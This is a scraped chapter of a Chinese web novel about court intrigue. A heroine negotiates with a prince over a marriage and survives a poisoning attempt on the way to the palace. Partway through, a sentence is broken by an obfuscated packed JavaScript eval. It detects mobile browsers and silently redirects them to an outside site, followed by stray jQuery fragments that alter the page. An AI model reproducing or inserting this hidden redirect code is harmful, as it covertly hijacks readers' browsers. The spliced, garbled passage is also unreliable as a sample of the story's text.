123. 第 123 章

作品:《仙子赐福之侯门似海

    言罢,宁安王似是轻笑一声垂下头去,轻轻一拂袖子道:“你有什么筹码来和我说这个,说来听听看吧。”


    秦桑一愣,继而笑道:“跟聪明人谈事情就是便捷,我也不绕弯子了,您知道自己真正的对手是谁么?”


    宁安王眼眸微微一闪。


    “太子自然是第一颗绊脚石,但即便解决掉他您登上皇位,这个位子怕也是坐不稳当的。”


    宁安王重新抬起眼:“怎么说?”


    秦桑面带微笑:“这就是我的筹码,您肯跟我谈,我才能跟您交心不是?”


    宁安王静静盯着这个看起来年纪轻轻但却不怎么看得透的女孩,眼里终于浮起探究的意味。


    秦桑却微微蹙眉。


    因为她在这个人的眼里看见的不是好奇,不,应该说不是对她说的话好奇,而是对她好奇。仿佛好奇她为何也会知道这件事。


    这一刻,她有一点慌乱。脑子飞快思考,想到宁安王和谢仲昫既然筹谋这许多年,连自己都知道京都还有一股势力,他们应该也能觉察到才对。


    可……即便他们知道有第三股势力,或者就算他已经查到这第三股势力就是长公主,他们也未必知道为什么才对,因为他们根本就猜不到长公主所作为何,更猜不到最终目的是搞垮南无国,他们只会觉得长公主野心勃勃另有所图。


    想到这里,秦桑稳了心神。她的手放在石桌上,细白的手指轻轻敲着桌面,下巴微微抬起,一派“我知道但你不知道”的从容高傲。


    宁安王看了一眼护送秦桑进来的秦保蕴,挥挥手。


    管家很自觉地退下了,秦桑也回首点了个头让秦叔跟着退下。


    等到两人都退到对面廊下,秦桑才重新开口:“京都有第三股势力,在坐山观虎斗,这您可知道?”


    宁安王面不改色,默认了。


    秦桑说:“那您已经查出第三股势力是哪来的了?”


    宁安王道:“不是很确定,你可以详细讲讲。”


    秦桑道:“元昭公主。”


    见对方面无表情的一张脸终于有了微弱的变动,秦桑摸不准他是惊讶还是什么,但是什么无所谓了。


    她说:“你斗不过她。但我能,但我的条件就是,那啥,你悔婚,或者我假装嫁给你,然后我假死脱身。”


    宁安王似乎并不在意她的条件,只是淡淡追问了一句:“为何你能斗得过但本王斗不过?”


    “这是我的筹码,怎么能告诉你?”


    “好吧,那我换个问题,你蛰伏多年辛苦谋算,却因儿女情长把即将成型的局面打破……你凭什么认为不用嫁给本王,单凭一己之力能够替苏家平反冤屈?”


    秦桑:“……”


    “你说得不错,本王的确并非非你不可,但你不要忘了当时谢相骤然离世的紧要关头,是谁救你的,你就是这样对待救命恩人的,嗯?”


    秦桑哑口无言。


    说起来,在家族血仇面前,她这小情小爱的的确拿不上台面。可问题是,她不是真的苏蕴儿嘛!好容易铁树开花想谈个恋爱,很容易??!


    不容易。


    所以她默了好片刻,还是决定不要脸一把,坚决捍卫一下自己这刚刚萌芽的,脆弱的爱情。


    她道:“是这么个理,但是呢,这个事情您得这么看,您当时不是也借着我的由头迅速获得相府背后的势力么?自然了,我是很感恩的,所以我还是会全力以赴帮您呀,只不过换了一个方式嘛。而且不是我说大话,你们还真的拿那位长公主没什么办法,她发起力来,只有我能挡。”


    宁安王并没被她这无来由的自信给逗笑,反而面不改色反问道:“发力?长公主是妖怪不成,还会妖法?”


    “……”秦桑又被噎住。


    “不是,”她坚决道,“不是,但也差不远。”


    宁安王终于没忍住,无奈垂眸笑了一下,摇摇头:“你不会想说你也会妖法吧?”


    秦桑顿了顿,忽然凑过去:“既然丞相都把我的事全告诉你了,你该知道我是从乱葬岗里出来的吧?”


    宁安王却已经不想听她胡说八道了,敛了笑容站起来,眼神认真地道:“不论你有什么对方的把柄,如今我都做不到与你退婚了,是不想,也不能。回去吧,好好准备明日随我进宫见驾。”


    说完便抬步,在秦桑开口之前又补充了一句:“也别想明日在殿前闹出什么幺蛾子,你不想你苏家地下也不安生的话,我劝你不要。”


    秦桑看着对方长腿跨过门槛,毫无逗留地沿着回廊离开,只有屋外淅淅沥沥的小雨依然无声落下。


    内心一阵暗叹,罢了,虽然知道此行必定无功而返,可她好歹知道他其实比自己想象中的还要厉害些,走一步看一步吧。


    她亦起身走向屋外,秦保蕴执伞等在阶下,看了她一眼,眼里似有淡淡愁绪。


    两人沿着来路返回,秦桑觉得自己这么做的确有点任性,承载了那么多人的希望,却如此胡来,若有差错,如何对得起那些心甘情愿为她做事的人?


    “秦叔……”她本想说点什么宽慰他,但开口之后却不知从何说起。


    秦保蕴嗯了一声等着她开口,等了半晌却见对方欲言又止,他想了想,道:“当年相爷把姑娘救出来,并不抱着让姑娘一定要卷入这场纷争中来的希望,姑娘想做什么就去做,不必太自责。”


    这话是真温暖,秦桑想,有这么一个忠诚且善解人意的追随者,苏蕴儿的父亲一定也是个顶好的人。可以想,南无国还有多少像他们这样的好人被悄无声息的铲除……


    二人驾车回了谢宅。


    谢岁安在晚饭之前偷偷来过一次,两人都没说自己去找过宁安王,只说如今箭在弦上,仓促之间想要取消婚事是不可能的,还得先按原计划来,然后在成婚之前从长计议。


    因为各自都有心事,王惠文又盯得紧,没说上几句话谢岁安就离开了。


    第二日一早,宫里就来了两个嬷嬷,帮忙打扮讲规距,忙忙碌碌一阵,秦桑终于穿戴整齐而隆重,被前呼后拥地搀上了宝马香车,一路王皇宫驶去。


    南无国立国二百多年,街道规


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443347|168466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    模早就十分恢弘整洁,他们的仪仗队伍引来早起做生意的百姓沿途围观,纷纷猜测是哪家贵人进宫了。并不十分热烈,只是闲极无聊的八卦而已。


    忽然外面人群一阵骚动,紧接着听见马蹄哒哒自后靠近,其中一匹堪堪停在车窗外。


    秦桑掀开一角车帘,果然看见身着紫色锦袍的宁安王。


    他气色看起来比昨日要好些,华服衬得气宇轩昂,倒引得路边一阵惊呼赞叹。


    宁安王嘴角眉梢都带着笑意,深情地侧首看向自己,秦桑抖了抖,把车窗帘子拉上了。


    仪仗队一路走进宫城,在第二道门前下了车驾换坐华丽的肩舆。抬轿之人各个身形魁梧稳健,一点也不觉得晃,引路太监一路上都在喋喋不休讲规距,秦桑不敢不认真听,她怕出错以后横生枝节。


    听到见了帝后之后还要去见娴妃,秦桑不由看了一眼宁安王。


    这一路上的宁安王和自己昨日私下见的很不一样,他似乎有两张面孔,人前永远一副阴晴不定,怪里怪气的模样,人后却运筹帷幄,冷静自持,很难想象在太子和皇后的眼皮底下是怎么一直装傻充楞撑下来的。


    正这么想着,秦桑忽觉自己重心不稳,座下减肩舆倾斜,就要往地上翻倒…但她眼疾手快,在自己身体已经倾倒落下去的那一刻,足尖一点,顺手抓着旁边的赵坤一起飞了出去。


    身后一声巨响,肩舆重重落在地上,之前走在左前方的侍卫捂着喉咙呼吸困难,正倒在地上狠狠发抖,脸色憋得通红,继而渐渐往上白眼。


    “大胆!来人哪,来人哪,有刺客!”太监慌张地叫起来。


    秦桑心脏砰砰狂跳,手足有点发软。若非之前受重伤,她倒也不至于这么没用,只是宁安王毕竟是个男子,拖着他难免有些吃力。


    眼看着那侍卫一动不动摊在那,周遭的人除了领路太监全都跪了一地,秦桑看向宁安王:“有人想杀你?”


    宁安王也正好低头看着她,眼神里带着不可思议的探究:“为何不说是有人想杀你?你会功夫?”


    “……”秦桑,“略懂一点防身之道。”


    拖着一个百十斤的大男人原地起飞,可不是什么“略懂”,宁安王深深看了她一眼,却也知道此刻不是追究此事的时候。


    他双目如鹰看向那倒地之人,走过去,蹲下,然后翻看了一下那人的眼皮,就见一抹血红从眼角缓慢浸出来,接着口鼻耳都有血流出。


    “箭毒木。”他淡淡道,“见血封喉。”然后翻看这人的手,眉头微微蹙起。


    “怎么……”秦桑走过来,正要蹲身跟着检查,就被宁安王伸手拦住了。


    “有人在肩舆上下了剧毒,”他转身看向另外几个惊慌失措的侍卫,“还不去打水洗洗?想跟地上这个一样下场?”


    几人见了同伴的猝死,已经吓得魂飞魄散,闻言更是脸色苍白,吓得几乎不能动弹,好半天才反应过来,颤颤巍巍道:“可……可是我们还要送殿下……”


    “不必你们送了,快去吧。”


    那几人感激地飞快跑了。